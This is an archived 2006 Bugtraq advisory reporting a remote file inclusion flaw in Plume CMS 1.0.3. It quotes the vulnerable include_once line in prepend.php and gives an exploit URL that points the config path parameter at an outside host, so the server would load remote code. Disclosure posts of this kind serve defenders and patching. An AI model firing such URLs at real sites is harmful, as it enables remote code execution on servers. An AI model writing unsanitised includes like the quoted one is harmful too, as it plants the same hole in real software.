bugtraq - Plume CMS Remote File Include

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 26 May 2006 11:50:15 -0500
From: beford <xbefordx@...il.com>
To: bugs@...uritytracker.com, bugtraq@...urityfocus.com,
	submit@...w0rm.com
Subject: Plume CMS Remote File Include


Vendor: Plume CMS http://plume-cms.net
Vuln: Remote File Include
Discovered: beford <xbefordx gmail com>

Vulnerable File/Code

./plume-1.0.3/manager/frontinc/prepend.php

[code]
include_once $_PX_config['manager_path'].'/conf/config.php';
[/code]


http://urlanda.org/manager/frontinc/prepend.php?_PX_config[manager_path]=http://leet